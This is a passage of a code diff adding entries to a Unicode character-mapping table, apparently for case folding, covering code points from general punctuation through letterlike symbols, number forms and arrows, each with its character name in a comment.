+ ["\u2036", "\u2036"], /* REVERSED DOUBLE PRIME */
+ ["\u2037", "\u2037"], /* REVERSED TRIPLE PRIME */
+ ["\u2038", "\u2038"], /* CARET */
+ ["\u2039", "\u2039"], /* SINGLE LEFT-POINTING ANGLE QUOTATION MARK (LEFT POINTING SINGLE GUILLEMET) */
+ ["\u203A", "\u203A"], /* SINGLE RIGHT-POINTING ANGLE QUOTATION MARK (RIGHT POINTING SINGLE GUILLEMET) */
+ ["\u203B", "\u203B"], /* REFERENCE MARK */
+ ["\u203C", "\u203C"], /* DOUBLE EXCLAMATION MARK */
+ ["\u203D", "\u203D"], /* INTERROBANG */
+ ["\u203E", "\u203E"], /* OVERLINE (SPACING OVERSCORE) */
+ ["\u203F", "\u203F"], /* UNDERTIE */
+ ["\u2040", "\u2040"], /* CHARACTER TIE */
+ ["\u2041", "\u2041"], /* CARET INSERTION POINT */
+ ["\u2042", "\u2042"], /* ASTERISM */
+ ["\u2043", "\u2043"], /* HYPHEN BULLET */
+ ["\u2044", "\u2044"], /* FRACTION SLASH */
+ ["\u2045", "\u2045"], /* LEFT SQUARE BRACKET WITH QUILL */
+ ["\u2046", "\u2046"], /* RIGHT SQUARE BRACKET WITH QUILL */
+ ["\u2047", "\u2047"], /* DOUBLE QUESTION MARK */
+ ["\u2048", "\u2048"], /* QUESTION EXCLAMATION MARK */
+ ["\u2049", "\u2049"], /* EXCLAMATION QUESTION MARK */
+ ["\u204A", "\u204A"], /* TIRONIAN SIGN ET */
+ ["\u204B", "\u204B"], /* REVERSED PILCROW SIGN */
+ ["\u204C", "\u204C"], /* BLACK LEFTWARDS BULLET */
+ ["\u204D", "\u204D"], /* BLACK RIGHTWARDS BULLET */
+ ["\u204E", "\u204E"], /* LOW ASTERISK */
+ ["\u204F", "\u204F"], /* REVERSED SEMICOLON */
+ ["\u2050", "\u2050"], /* CLOSE UP */
+ ["\u2051", "\u2051"], /* TWO ASTERISKS ALIGNED VERTICALLY */
+ ["\u2052", "\u2052"], /* COMMERCIAL MINUS SIGN */
+ ["\u2053", "\u2053"], /* SWUNG DASH */
+ ["\u2054", "\u2054"], /* INVERTED UNDERTIE */
+ ["\u2055", "\u2055"], /* FLOWER PUNCTUATION MARK */
+ ["\u2056", "\u2056"], /* THREE DOT PUNCTUATION */
+ ["\u2057", "\u2057"], /* QUADRUPLE PRIME */
+ ["\u2058", "\u2058"], /* FOUR DOT PUNCTUATION */
+ ["\u2059", "\u2059"], /* FIVE DOT PUNCTUATION */
+ ["\u205A", "\u205A"], /* TWO DOT PUNCTUATION */
+ ["\u205B", "\u205B"], /* FOUR DOT MARK */
+ ["\u205C", "\u205C"], /* DOTTED CROSS */
+ ["\u205D", "\u205D"], /* TRICOLON */
+ ["\u205E", "\u205E"], /* VERTICAL FOUR DOTS */
+ ["\u205F", "\u205F"], /* MEDIUM MATHEMATICAL SPACE */
+ ["\u2060", "\u2060"], /* WORD JOINER */
+ ["\u2061", "\u2061"], /* FUNCTION APPLICATION */
+ ["\u2062", "\u2062"], /* INVISIBLE TIMES */
+ ["\u2063", "\u2063"], /* INVISIBLE SEPARATOR */
+ ["\u2064", "\u2064"], /* INVISIBLE PLUS */
+ ["\u2065", "\u2065"],
+ ["\u2066", "\u2066"], /* LEFT-TO-RIGHT ISOLATE */
+ ["\u2067", "\u2067"], /* RIGHT-TO-LEFT ISOLATE */
+ ["\u2068", "\u2068"], /* FIRST STRONG ISOLATE */
+ ["\u2069", "\u2069"], /* POP DIRECTIONAL ISOLATE */
+ ["\u206A", "\u206A"], /* INHIBIT SYMMETRIC SWAPPING */
+ ["\u206B", "\u206B"], /* ACTIVATE SYMMETRIC SWAPPING */
+ ["\u206C", "\u206C"], /* INHIBIT ARABIC FORM SHAPING */
+ ["\u206D", "\u206D"], /* ACTIVATE ARABIC FORM SHAPING */
+ ["\u206E", "\u206E"], /* NATIONAL DIGIT SHAPES */
+ ["\u206F", "\u206F"], /* NOMINAL DIGIT SHAPES */
+ ["\u2070", "\u2070"], /* SUPERSCRIPT ZERO (SUPERSCRIPT DIGIT ZERO) */
+ ["\u2071", "\u2071"], /* SUPERSCRIPT LATIN SMALL LETTER I */
+ ["\u2072", "\u2072"],
+ ["\u2073", "\u2073"],
+ ["\u2074", "\u2074"], /* SUPERSCRIPT FOUR (SUPERSCRIPT DIGIT FOUR) */
+ ["\u2075", "\u2075"], /* SUPERSCRIPT FIVE (SUPERSCRIPT DIGIT FIVE) */
+ ["\u2076", "\u2076"], /* SUPERSCRIPT SIX (SUPERSCRIPT DIGIT SIX) */
+ ["\u2077", "\u2077"], /* SUPERSCRIPT SEVEN (SUPERSCRIPT DIGIT SEVEN) */
+ ["\u2078", "\u2078"], /* SUPERSCRIPT EIGHT (SUPERSCRIPT DIGIT EIGHT) */
+ ["\u2079", "\u2079"], /* SUPERSCRIPT NINE (SUPERSCRIPT DIGIT NINE) */
+ ["\u207A", "\u207A"], /* SUPERSCRIPT PLUS SIGN */
+ ["\u207B", "\u207B"], /* SUPERSCRIPT MINUS (SUPERSCRIPT HYPHEN-MINUS) */
+ ["\u207C", "\u207C"], /* SUPERSCRIPT EQUALS SIGN */
+ ["\u207D", "\u207D"], /* SUPERSCRIPT LEFT PARENTHESIS (SUPERSCRIPT OPENING PARENTHESIS) */
+ ["\u207E", "\u207E"], /* SUPERSCRIPT RIGHT PARENTHESIS (SUPERSCRIPT CLOSING PARENTHESIS) */
+ ["\u207F", "\u207F"], /* SUPERSCRIPT LATIN SMALL LETTER N */
+ ["\u2080", "\u2080"], /* SUBSCRIPT ZERO (SUBSCRIPT DIGIT ZERO) */
+ ["\u2081", "\u2081"], /* SUBSCRIPT ONE (SUBSCRIPT DIGIT ONE) */
+ ["\u2082", "\u2082"], /* SUBSCRIPT TWO (SUBSCRIPT DIGIT TWO) */
+ ["\u2083", "\u2083"], /* SUBSCRIPT THREE (SUBSCRIPT DIGIT THREE) */
+ ["\u2084", "\u2084"], /* SUBSCRIPT FOUR (SUBSCRIPT DIGIT FOUR) */
+ ["\u2085", "\u2085"], /* SUBSCRIPT FIVE (SUBSCRIPT DIGIT FIVE) */
+ ["\u2086", "\u2086"], /* SUBSCRIPT SIX (SUBSCRIPT DIGIT SIX) */
+ ["\u2087", "\u2087"], /* SUBSCRIPT SEVEN (SUBSCRIPT DIGIT SEVEN) */
+ ["\u2088", "\u2088"], /* SUBSCRIPT EIGHT (SUBSCRIPT DIGIT EIGHT) */
+ ["\u2089", "\u2089"], /* SUBSCRIPT NINE (SUBSCRIPT DIGIT NINE) */
+ ["\u208A", "\u208A"], /* SUBSCRIPT PLUS SIGN */
+ ["\u208B", "\u208B"], /* SUBSCRIPT MINUS (SUBSCRIPT HYPHEN-MINUS) */
+ ["\u208C", "\u208C"], /* SUBSCRIPT EQUALS SIGN */
+ ["\u208D", "\u208D"], /* SUBSCRIPT LEFT PARENTHESIS (SUBSCRIPT OPENING PARENTHESIS) */
+ ["\u208E", "\u208E"], /* SUBSCRIPT RIGHT PARENTHESIS (SUBSCRIPT CLOSING PARENTHESIS) */
+ ["\u208F", "\u208F"],
+ ["\u2090", "\u2090"], /* LATIN SUBSCRIPT SMALL LETTER A */
+ ["\u2091", "\u2091"], /* LATIN SUBSCRIPT SMALL LETTER E */
+ ["\u2092", "\u2092"], /* LATIN SUBSCRIPT SMALL LETTER O */
+ ["\u2093", "\u2093"], /* LATIN SUBSCRIPT SMALL LETTER X */
+ ["\u2094", "\u2094"], /* LATIN SUBSCRIPT SMALL LETTER SCHWA */
+ ["\u2095", "\u2095"], /* LATIN SUBSCRIPT SMALL LETTER H */
+ ["\u2096", "\u2096"], /* LATIN SUBSCRIPT SMALL LETTER K */
+ ["\u2097", "\u2097"], /* LATIN SUBSCRIPT SMALL LETTER L */
+ ["\u2098", "\u2098"], /* LATIN SUBSCRIPT SMALL LETTER M */
+ ["\u2099", "\u2099"], /* LATIN SUBSCRIPT SMALL LETTER N */
+ ["\u209A", "\u209A"], /* LATIN SUBSCRIPT SMALL LETTER P */
+ ["\u209B", "\u209B"], /* LATIN SUBSCRIPT SMALL LETTER S */
+ ["\u209C", "\u209C"], /* LATIN SUBSCRIPT SMALL LETTER T */
+ ["\u209D", "\u209D"],
+ ["\u209E", "\u209E"],
+ ["\u209F", "\u209F"],
+ ["\u20A0", "\u20A0"], /* EURO-CURRENCY SIGN */
+ ["\u20A1", "\u20A1"], /* COLON SIGN */
+ ["\u20A2", "\u20A2"], /* CRUZEIRO SIGN */
+ ["\u20A3", "\u20A3"], /* FRENCH FRANC SIGN */
+ ["\u20A4", "\u20A4"], /* LIRA SIGN */
+ ["\u20A5", "\u20A5"], /* MILL SIGN */
+ ["\u20A6", "\u20A6"], /* NAIRA SIGN */
+ ["\u20A7", "\u20A7"], /* PESETA SIGN */
+ ["\u20A8", "\u20A8"], /* RUPEE SIGN */
+ ["\u20A9", "\u20A9"], /* WON SIGN */
+ ["\u20AA", "\u20AA"], /* NEW SHEQEL SIGN */
+ ["\u20AB", "\u20AB"], /* DONG SIGN */
+ ["\u20AC", "\u20AC"], /* EURO SIGN */
+ ["\u20AD", "\u20AD"], /* KIP SIGN */
+ ["\u20AE", "\u20AE"], /* TUGRIK SIGN */
+ ["\u20AF", "\u20AF"], /* DRACHMA SIGN */
+ ["\u20B0", "\u20B0"], /* GERMAN PENNY SIGN */
+ ["\u20B1", "\u20B1"], /* PESO SIGN */
+ ["\u20B2", "\u20B2"], /* GUARANI SIGN */
+ ["\u20B3", "\u20B3"], /* AUSTRAL SIGN */
+ ["\u20B4", "\u20B4"], /* HRYVNIA SIGN */
+ ["\u20B5", "\u20B5"], /* CEDI SIGN */
+ ["\u20B6", "\u20B6"], /* LIVRE TOURNOIS SIGN */
+ ["\u20B7", "\u20B7"], /* SPESMILO SIGN */
+ ["\u20B8", "\u20B8"], /* TENGE SIGN */
+ ["\u20B9", "\u20B9"], /* INDIAN RUPEE SIGN */
+ ["\u20BA", "\u20BA"], /* TURKISH LIRA SIGN */
+ ["\u20BB", "\u20BB"], /* NORDIC MARK SIGN */
+ ["\u20BC", "\u20BC"], /* MANAT SIGN */
+ ["\u20BD", "\u20BD"], /* RUBLE SIGN */
+ ["\u20BE", "\u20BE"], /* LARI SIGN */
+ ["\u20BF", "\u20BF"], /* BITCOIN SIGN */
+ ["\u20C0", "\u20C0"], /* SOM SIGN */
+ ["\u20C1", "\u20C1"],
+ ["\u20C2", "\u20C2"],
+ ["\u20C3", "\u20C3"],
+ ["\u20C4", "\u20C4"],
+ ["\u20C5", "\u20C5"],
+ ["\u20C6", "\u20C6"],
+ ["\u20C7", "\u20C7"],
+ ["\u20C8", "\u20C8"],
+ ["\u20C9", "\u20C9"],
+ ["\u20CA", "\u20CA"],
+ ["\u20CB", "\u20CB"],
+ ["\u20CC", "\u20CC"],
+ ["\u20CD", "\u20CD"],
+ ["\u20CE", "\u20CE"],
+ ["\u20CF", "\u20CF"],
+ ["\u20D0", "\u20D0"], /* COMBINING LEFT HARPOON ABOVE (NON-SPACING LEFT HARPOON ABOVE) */
+ ["\u20D1", "\u20D1"], /* COMBINING RIGHT HARPOON ABOVE (NON-SPACING RIGHT HARPOON ABOVE) */
+ ["\u20D2", "\u20D2"], /* COMBINING LONG VERTICAL LINE OVERLAY (NON-SPACING LONG VERTICAL BAR OVERLAY) */
+ ["\u20D3", "\u20D3"], /* COMBINING SHORT VERTICAL LINE OVERLAY (NON-SPACING SHORT VERTICAL BAR OVERLAY) */
+ ["\u20D4", "\u20D4"], /* COMBINING ANTICLOCKWISE ARROW ABOVE (NON-SPACING ANTICLOCKWISE ARROW ABOVE) */
+ ["\u20D5", "\u20D5"], /* COMBINING CLOCKWISE ARROW ABOVE (NON-SPACING CLOCKWISE ARROW ABOVE) */
+ ["\u20D6", "\u20D6"], /* COMBINING LEFT ARROW ABOVE (NON-SPACING LEFT ARROW ABOVE) */
+ ["\u20D7", "\u20D7"], /* COMBINING RIGHT ARROW ABOVE (NON-SPACING RIGHT ARROW ABOVE) */
+ ["\u20D8", "\u20D8"], /* COMBINING RING OVERLAY (NON-SPACING RING OVERLAY) */
+ ["\u20D9", "\u20D9"], /* COMBINING CLOCKWISE RING OVERLAY (NON-SPACING CLOCKWISE RING OVERLAY) */
+ ["\u20DA", "\u20DA"], /* COMBINING ANTICLOCKWISE RING OVERLAY (NON-SPACING ANTICLOCKWISE RING OVERLAY) */
+ ["\u20DB", "\u20DB"], /* COMBINING THREE DOTS ABOVE (NON-SPACING THREE DOTS ABOVE) */
+ ["\u20DC", "\u20DC"], /* COMBINING FOUR DOTS ABOVE (NON-SPACING FOUR DOTS ABOVE) */
+ ["\u20DD", "\u20DD"], /* COMBINING ENCLOSING CIRCLE (ENCLOSING CIRCLE) */
+ ["\u20DE", "\u20DE"], /* COMBINING ENCLOSING SQUARE (ENCLOSING SQUARE) */
+ ["\u20DF", "\u20DF"], /* COMBINING ENCLOSING DIAMOND (ENCLOSING DIAMOND) */
+ ["\u20E0", "\u20E0"], /* COMBINING ENCLOSING CIRCLE BACKSLASH (ENCLOSING CIRCLE SLASH) */
+ ["\u20E1", "\u20E1"], /* COMBINING LEFT RIGHT ARROW ABOVE (NON-SPACING LEFT RIGHT ARROW ABOVE) */
+ ["\u20E2", "\u20E2"], /* COMBINING ENCLOSING SCREEN */
+ ["\u20E3", "\u20E3"], /* COMBINING ENCLOSING KEYCAP */
+ ["\u20E4", "\u20E4"], /* COMBINING ENCLOSING UPWARD POINTING TRIANGLE */
+ ["\u20E5", "\u20E5"], /* COMBINING REVERSE SOLIDUS OVERLAY */
+ ["\u20E6", "\u20E6"], /* COMBINING DOUBLE VERTICAL STROKE OVERLAY */
+ ["\u20E7", "\u20E7"], /* COMBINING ANNUITY SYMBOL */
+ ["\u20E8", "\u20E8"], /* COMBINING TRIPLE UNDERDOT */
+ ["\u20E9", "\u20E9"], /* COMBINING WIDE BRIDGE ABOVE */
+ ["\u20EA", "\u20EA"], /* COMBINING LEFTWARDS ARROW OVERLAY */
+ ["\u20EB", "\u20EB"], /* COMBINING LONG DOUBLE SOLIDUS OVERLAY */
+ ["\u20EC", "\u20EC"], /* COMBINING RIGHTWARDS HARPOON WITH BARB DOWNWARDS */
+ ["\u20ED", "\u20ED"], /* COMBINING LEFTWARDS HARPOON WITH BARB DOWNWARDS */
+ ["\u20EE", "\u20EE"], /* COMBINING LEFT ARROW BELOW */
+ ["\u20EF", "\u20EF"], /* COMBINING RIGHT ARROW BELOW */
+ ["\u20F0", "\u20F0"], /* COMBINING ASTERISK ABOVE */
+ ["\u20F1", "\u20F1"],
+ ["\u20F2", "\u20F2"],
+ ["\u20F3", "\u20F3"],
+ ["\u20F4", "\u20F4"],
+ ["\u20F5", "\u20F5"],
+ ["\u20F6", "\u20F6"],
+ ["\u20F7", "\u20F7"],
+ ["\u20F8", "\u20F8"],
+ ["\u20F9", "\u20F9"],
+ ["\u20FA", "\u20FA"],
+ ["\u20FB", "\u20FB"],
+ ["\u20FC", "\u20FC"],
+ ["\u20FD", "\u20FD"],
+ ["\u20FE", "\u20FE"],
+ ["\u20FF", "\u20FF"],
+ ["\u2100", "\u2100"], /* ACCOUNT OF */
+ ["\u2101", "\u2101"], /* ADDRESSED TO THE SUBJECT */
+ ["\u2102", "\u2102"], /* DOUBLE-STRUCK CAPITAL C (DOUBLE-STRUCK C) */
+ ["\u2103", "\u2103"], /* DEGREE CELSIUS (DEGREES CENTIGRADE) */
+ ["\u2104", "\u2104"], /* CENTRE LINE SYMBOL (C L SYMBOL) */
+ ["\u2105", "\u2105"], /* CARE OF */
+ ["\u2106", "\u2106"], /* CADA UNA */
+ ["\u2107", "\u2107"], /* EULER CONSTANT (EULERS) */
+ ["\u2108", "\u2108"], /* SCRUPLE */
+ ["\u2109", "\u2109"], /* DEGREE FAHRENHEIT (DEGREES FAHRENHEIT) */
+ ["\u210A", "\u210A"], /* SCRIPT SMALL G */
+ ["\u210B", "\u210B"], /* SCRIPT CAPITAL H (SCRIPT H) */
+ ["\u210C", "\u210C"], /* BLACK-LETTER CAPITAL H (BLACK-LETTER H) */
+ ["\u210D", "\u210D"], /* DOUBLE-STRUCK CAPITAL H (DOUBLE-STRUCK H) */
+ ["\u210E", "\u210E"], /* PLANCK CONSTANT */
+ ["\u210F", "\u210F"], /* PLANCK CONSTANT OVER TWO PI (PLANCK CONSTANT OVER 2 PI) */
+ ["\u2110", "\u2110"], /* SCRIPT CAPITAL I (SCRIPT I) */
+ ["\u2111", "\u2111"], /* BLACK-LETTER CAPITAL I (BLACK-LETTER I) */
+ ["\u2112", "\u2112"], /* SCRIPT CAPITAL L (SCRIPT L) */
+ ["\u2113", "\u2113"], /* SCRIPT SMALL L */
+ ["\u2114", "\u2114"], /* L B BAR SYMBOL */
+ ["\u2115", "\u2115"], /* DOUBLE-STRUCK CAPITAL N (DOUBLE-STRUCK N) */
+ ["\u2116", "\u2116"], /* NUMERO SIGN (NUMERO) */
+ ["\u2117", "\u2117"], /* SOUND RECORDING COPYRIGHT */
+ ["\u2118", "\u2118"], /* SCRIPT CAPITAL P (SCRIPT P) */
+ ["\u2119", "\u2119"], /* DOUBLE-STRUCK CAPITAL P (DOUBLE-STRUCK P) */
+ ["\u211A", "\u211A"], /* DOUBLE-STRUCK CAPITAL Q (DOUBLE-STRUCK Q) */
+ ["\u211B", "\u211B"], /* SCRIPT CAPITAL R (SCRIPT R) */
+ ["\u211C", "\u211C"], /* BLACK-LETTER CAPITAL R (BLACK-LETTER R) */
+ ["\u211D", "\u211D"], /* DOUBLE-STRUCK CAPITAL R (DOUBLE-STRUCK R) */
+ ["\u211E", "\u211E"], /* PRESCRIPTION TAKE */
+ ["\u211F", "\u211F"], /* RESPONSE */
+ ["\u2120", "\u2120"], /* SERVICE MARK */
+ ["\u2121", "\u2121"], /* TELEPHONE SIGN (T E L SYMBOL) */
+ ["\u2122", "\u2122"], /* TRADE MARK SIGN (TRADEMARK) */
+ ["\u2123", "\u2123"], /* VERSICLE */
+ ["\u2124", "\u2124"], /* DOUBLE-STRUCK CAPITAL Z (DOUBLE-STRUCK Z) */
+ ["\u2125", "\u2125"], /* OUNCE SIGN (OUNCE) */
+ ["\u2126", "\u03C9"], /* OHM SIGN (OHM) */
+ ["\u2127", "\u2127"], /* INVERTED OHM SIGN (MHO) */
+ ["\u2128", "\u2128"], /* BLACK-LETTER CAPITAL Z (BLACK-LETTER Z) */
+ ["\u2129", "\u2129"], /* TURNED GREEK SMALL LETTER IOTA */
+ ["\u212A", "\u006B"], /* KELVIN SIGN (DEGREES KELVIN) */
+ ["\u212B", "\u00E5"], /* ANGSTROM SIGN (ANGSTROM UNIT) */
+ ["\u212C", "\u212C"], /* SCRIPT CAPITAL B (SCRIPT B) */
+ ["\u212D", "\u212D"], /* BLACK-LETTER CAPITAL C (BLACK-LETTER C) */
+ ["\u212E", "\u212E"], /* ESTIMATED SYMBOL */
+ ["\u212F", "\u212F"], /* SCRIPT SMALL E */
+ ["\u2130", "\u2130"], /* SCRIPT CAPITAL E (SCRIPT E) */
+ ["\u2131", "\u2131"], /* SCRIPT CAPITAL F (SCRIPT F) */
+ ["\u2132", "\u214E"], /* TURNED CAPITAL F (TURNED F) */
+ ["\u2133", "\u2133"], /* SCRIPT CAPITAL M (SCRIPT M) */
+ ["\u2134", "\u2134"], /* SCRIPT SMALL O */
+ ["\u2135", "\u2135"], /* ALEF SYMBOL (FIRST TRANSFINITE CARDINAL) */
+ ["\u2136", "\u2136"], /* BET SYMBOL (SECOND TRANSFINITE CARDINAL) */
+ ["\u2137", "\u2137"], /* GIMEL SYMBOL (THIRD TRANSFINITE CARDINAL) */
+ ["\u2138", "\u2138"], /* DALET SYMBOL (FOURTH TRANSFINITE CARDINAL) */
+ ["\u2139", "\u2139"], /* INFORMATION SOURCE */
+ ["\u213A", "\u213A"], /* ROTATED CAPITAL Q */
+ ["\u213B", "\u213B"], /* FACSIMILE SIGN */
+ ["\u213C", "\u213C"], /* DOUBLE-STRUCK SMALL PI */
+ ["\u213D", "\u213D"], /* DOUBLE-STRUCK SMALL GAMMA */
+ ["\u213E", "\u213E"], /* DOUBLE-STRUCK CAPITAL GAMMA */
+ ["\u213F", "\u213F"], /* DOUBLE-STRUCK CAPITAL PI */
+ ["\u2140", "\u2140"], /* DOUBLE-STRUCK N-ARY SUMMATION */
+ ["\u2141", "\u2141"], /* TURNED SANS-SERIF CAPITAL G */
+ ["\u2142", "\u2142"], /* TURNED SANS-SERIF CAPITAL L */
+ ["\u2143", "\u2143"], /* REVERSED SANS-SERIF CAPITAL L */
+ ["\u2144", "\u2144"], /* TURNED SANS-SERIF CAPITAL Y */
+ ["\u2145", "\u2145"], /* DOUBLE-STRUCK ITALIC CAPITAL D */
+ ["\u2146", "\u2146"], /* DOUBLE-STRUCK ITALIC SMALL D */
+ ["\u2147", "\u2147"], /* DOUBLE-STRUCK ITALIC SMALL E */
+ ["\u2148", "\u2148"], /* DOUBLE-STRUCK ITALIC SMALL I */
+ ["\u2149", "\u2149"], /* DOUBLE-STRUCK ITALIC SMALL J */
+ ["\u214A", "\u214A"], /* PROPERTY LINE */
+ ["\u214B", "\u214B"], /* TURNED AMPERSAND */
+ ["\u214C", "\u214C"], /* PER SIGN */
+ ["\u214D", "\u214D"], /* AKTIESELSKAB */
+ ["\u2132", "\u214E"], /* TURNED SMALL F */
+ ["\u214F", "\u214F"], /* SYMBOL FOR SAMARITAN SOURCE */
+ ["\u2150", "\u2150"], /* VULGAR FRACTION ONE SEVENTH */
+ ["\u2151", "\u2151"], /* VULGAR FRACTION ONE NINTH */
+ ["\u2152", "\u2152"], /* VULGAR FRACTION ONE TENTH */
+ ["\u2153", "\u2153"], /* VULGAR FRACTION ONE THIRD (FRACTION ONE THIRD) */
+ ["\u2154", "\u2154"], /* VULGAR FRACTION TWO THIRDS (FRACTION TWO THIRDS) */
+ ["\u2155", "\u2155"], /* VULGAR FRACTION ONE FIFTH (FRACTION ONE FIFTH) */
+ ["\u2156", "\u2156"], /* VULGAR FRACTION TWO FIFTHS (FRACTION TWO FIFTHS) */
+ ["\u2157", "\u2157"], /* VULGAR FRACTION THREE FIFTHS (FRACTION THREE FIFTHS) */
+ ["\u2158", "\u2158"], /* VULGAR FRACTION FOUR FIFTHS (FRACTION FOUR FIFTHS) */
+ ["\u2159", "\u2159"], /* VULGAR FRACTION ONE SIXTH (FRACTION ONE SIXTH) */
+ ["\u215A", "\u215A"], /* VULGAR FRACTION FIVE SIXTHS (FRACTION FIVE SIXTHS) */
+ ["\u215B", "\u215B"], /* VULGAR FRACTION ONE EIGHTH (FRACTION ONE EIGHTH) */
+ ["\u215C", "\u215C"], /* VULGAR FRACTION THREE EIGHTHS (FRACTION THREE EIGHTHS) */
+ ["\u215D", "\u215D"], /* VULGAR FRACTION FIVE EIGHTHS (FRACTION FIVE EIGHTHS) */
+ ["\u215E", "\u215E"], /* VULGAR FRACTION SEVEN EIGHTHS (FRACTION SEVEN EIGHTHS) */
+ ["\u215F", "\u215F"], /* FRACTION NUMERATOR ONE */
+ ["\u2160", "\u2170"], /* ROMAN NUMERAL ONE */
+ ["\u2161", "\u2171"], /* ROMAN NUMERAL TWO */
+ ["\u2162", "\u2172"], /* ROMAN NUMERAL THREE */
+ ["\u2163", "\u2173"], /* ROMAN NUMERAL FOUR */
+ ["\u2164", "\u2174"], /* ROMAN NUMERAL FIVE */
+ ["\u2165", "\u2175"], /* ROMAN NUMERAL SIX */
+ ["\u2166", "\u2176"], /* ROMAN NUMERAL SEVEN */
+ ["\u2167", "\u2177"], /* ROMAN NUMERAL EIGHT */
+ ["\u2168", "\u2178"], /* ROMAN NUMERAL NINE */
+ ["\u2169", "\u2179"], /* ROMAN NUMERAL TEN */
+ ["\u216A", "\u217A"], /* ROMAN NUMERAL ELEVEN */
+ ["\u216B", "\u217B"], /* ROMAN NUMERAL TWELVE */
+ ["\u216C", "\u217C"], /* ROMAN NUMERAL FIFTY */
+ ["\u216D", "\u217D"], /* ROMAN NUMERAL ONE HUNDRED */
+ ["\u216E", "\u217E"], /* ROMAN NUMERAL FIVE HUNDRED */
+ ["\u216F", "\u217F"], /* ROMAN NUMERAL ONE THOUSAND */
+ ["\u2160", "\u2170"], /* SMALL ROMAN NUMERAL ONE */
+ ["\u2161", "\u2171"], /* SMALL ROMAN NUMERAL TWO */
+ ["\u2162", "\u2172"], /* SMALL ROMAN NUMERAL THREE */
+ ["\u2163", "\u2173"], /* SMALL ROMAN NUMERAL FOUR */
+ ["\u2164", "\u2174"], /* SMALL ROMAN NUMERAL FIVE */
+ ["\u2165", "\u2175"], /* SMALL ROMAN NUMERAL SIX */
+ ["\u2166", "\u2176"], /* SMALL ROMAN NUMERAL SEVEN */
+ ["\u2167", "\u2177"], /* SMALL ROMAN NUMERAL EIGHT */
+ ["\u2168", "\u2178"], /* SMALL ROMAN NUMERAL NINE */
+ ["\u2169", "\u2179"], /* SMALL ROMAN NUMERAL TEN */
+ ["\u216A", "\u217A"], /* SMALL ROMAN NUMERAL ELEVEN */
+ ["\u216B", "\u217B"], /* SMALL ROMAN NUMERAL TWELVE */
+ ["\u216C", "\u217C"], /* SMALL ROMAN NUMERAL FIFTY */
+ ["\u216D", "\u217D"], /* SMALL ROMAN NUMERAL ONE HUNDRED */
+ ["\u216E", "\u217E"], /* SMALL ROMAN NUMERAL FIVE HUNDRED */
+ ["\u216F", "\u217F"], /* SMALL ROMAN NUMERAL ONE THOUSAND */
+ ["\u2180", "\u2180"], /* ROMAN NUMERAL ONE THOUSAND C D */
+ ["\u2181", "\u2181"], /* ROMAN NUMERAL FIVE THOUSAND */
+ ["\u2182", "\u2182"], /* ROMAN NUMERAL TEN THOUSAND */
+ ["\u2183", "\u2184"], /* ROMAN NUMERAL REVERSED ONE HUNDRED */
+ ["\u2183", "\u2184"], /* LATIN SMALL LETTER REVERSED C */
+ ["\u2185", "\u2185"], /* ROMAN NUMERAL SIX LATE FORM */
+ ["\u2186", "\u2186"], /* ROMAN NUMERAL FIFTY EARLY FORM */
+ ["\u2187", "\u2187"], /* ROMAN NUMERAL FIFTY THOUSAND */
+ ["\u2188", "\u2188"], /* ROMAN NUMERAL ONE HUNDRED THOUSAND */
+ ["\u2189", "\u2189"], /* VULGAR FRACTION ZERO THIRDS */
+ ["\u218A", "\u218A"], /* TURNED DIGIT TWO */
+ ["\u218B", "\u218B"], /* TURNED DIGIT THREE */
+ ["\u218C", "\u218C"],
+ ["\u218D", "\u218D"],
+ ["\u218E", "\u218E"],
+ ["\u218F", "\u218F"],
+ ["\u2190", "\u2190"], /* LEFTWARDS ARROW (LEFT ARROW) */
+ ["\u2191", "\u2191"], /* UPWARDS ARROW (UP ARROW) */
+ ["\u2192", "\u2192"], /* RIGHTWARDS ARROW (RIGHT ARROW) */
+ ["\u2193", "\u2193"], /* DOWNWARDS ARROW (DOWN ARROW) */
+ ["\u2194", "\u2194"], /* LEFT RIGHT ARROW */
+ ["\u2195", "\u2195"], /* UP DOWN ARROW */
+ ["\u2196", "\u2196"], /* NORTH WEST ARROW (UPPER LEFT ARROW) */
+ ["\u2197", "\u2197"], /* NORTH EAST ARROW (UPPER RIGHT ARROW) */
+ ["\u2198", "\u2198"], /* SOUTH EAST ARROW (LOWER RIGHT ARROW) */
+ ["\u2199", "\u2199"], /* SOUTH WEST ARROW (LOWER LEFT ARROW) */
+ ["\u219A", "\u219A"], /* LEFTWARDS ARROW WITH STROKE (LEFT ARROW WITH STROKE) */
+ ["\u219B", "\u219B"], /* RIGHTWARDS ARROW WITH STROKE (RIGHT ARROW WITH STROKE) */
+ ["\u219C", "\u219C"], /* LEFTWARDS WAVE ARROW (LEFT WAVE ARROW) */
+ ["\u219D", "\u219D"], /* RIGHTWARDS WAVE ARROW (RIGHT WAVE ARROW) */
+ ["\u219E", "\u219E"], /* LEFTWARDS TWO HEADED ARROW (LEFT TWO HEADED ARROW) */
+ ["\u219F", "\u219F"], /* UPWARDS TWO HEADED ARROW (UP TWO HEADED ARROW) */
+ ["\u21A0", "\u21A0"], /* RIGHTWARDS TWO HEADED ARROW (RIGHT TWO HEADED ARROW) */
+ ["\u21A1", "\u21A1"], /* DOWNWARDS TWO HEADED ARROW (DOWN TWO HEADED ARROW) */
+ ["\u21A2", "\u21A2"], /* LEFTWARDS ARROW WITH TAIL (LEFT ARROW WITH TAIL) */
+ ["\u21A3", "\u21A3"], /* RIGHTWARDS ARROW WITH TAIL (RIGHT ARROW WITH TAIL) */
+ ["\u21A4", "\u21A4"], /* LEFTWARDS ARROW FROM BAR (LEFT ARROW FROM BAR) */
+ ["\u21A5", "\u21A5"], /* UPWARDS ARROW FROM BAR (UP ARROW FROM BAR) */
+ ["\u21A6", "\u21A6"], /* RIGHTWARDS ARROW FROM BAR (RIGHT ARROW FROM BAR) */
+ ["\u21A7", "\u21A7"], /* DOWNWARDS ARROW FROM BAR (DOWN ARROW FROM BAR) */
+ ["\u21A8", "\u21A8"], /* UP DOWN ARROW WITH BASE */
+ ["\u21A9", "\u21A9"], /* LEFTWARDS ARROW WITH HOOK (LEFT ARROW WITH HOOK) */
+ ["\u21AA", "\u21AA"], /* RIGHTWARDS ARROW WITH HOOK (RIGHT ARROW WITH HOOK) */
+ ["\u21AB", "\u21AB"], /* LEFTWARDS ARROW WITH LOOP (LEFT ARROW WITH LOOP) */
+ ["\u21AC", "\u21AC"], /* RIGHTWARDS ARROW WITH LOOP (RIGHT ARROW WITH LOOP) */
+ ["\u21AD", "\u21AD"], /* LEFT RIGHT WAVE ARROW */
+ ["\u21AE", "\u21AE"], /* LEFT RIGHT ARROW WITH STROKE */
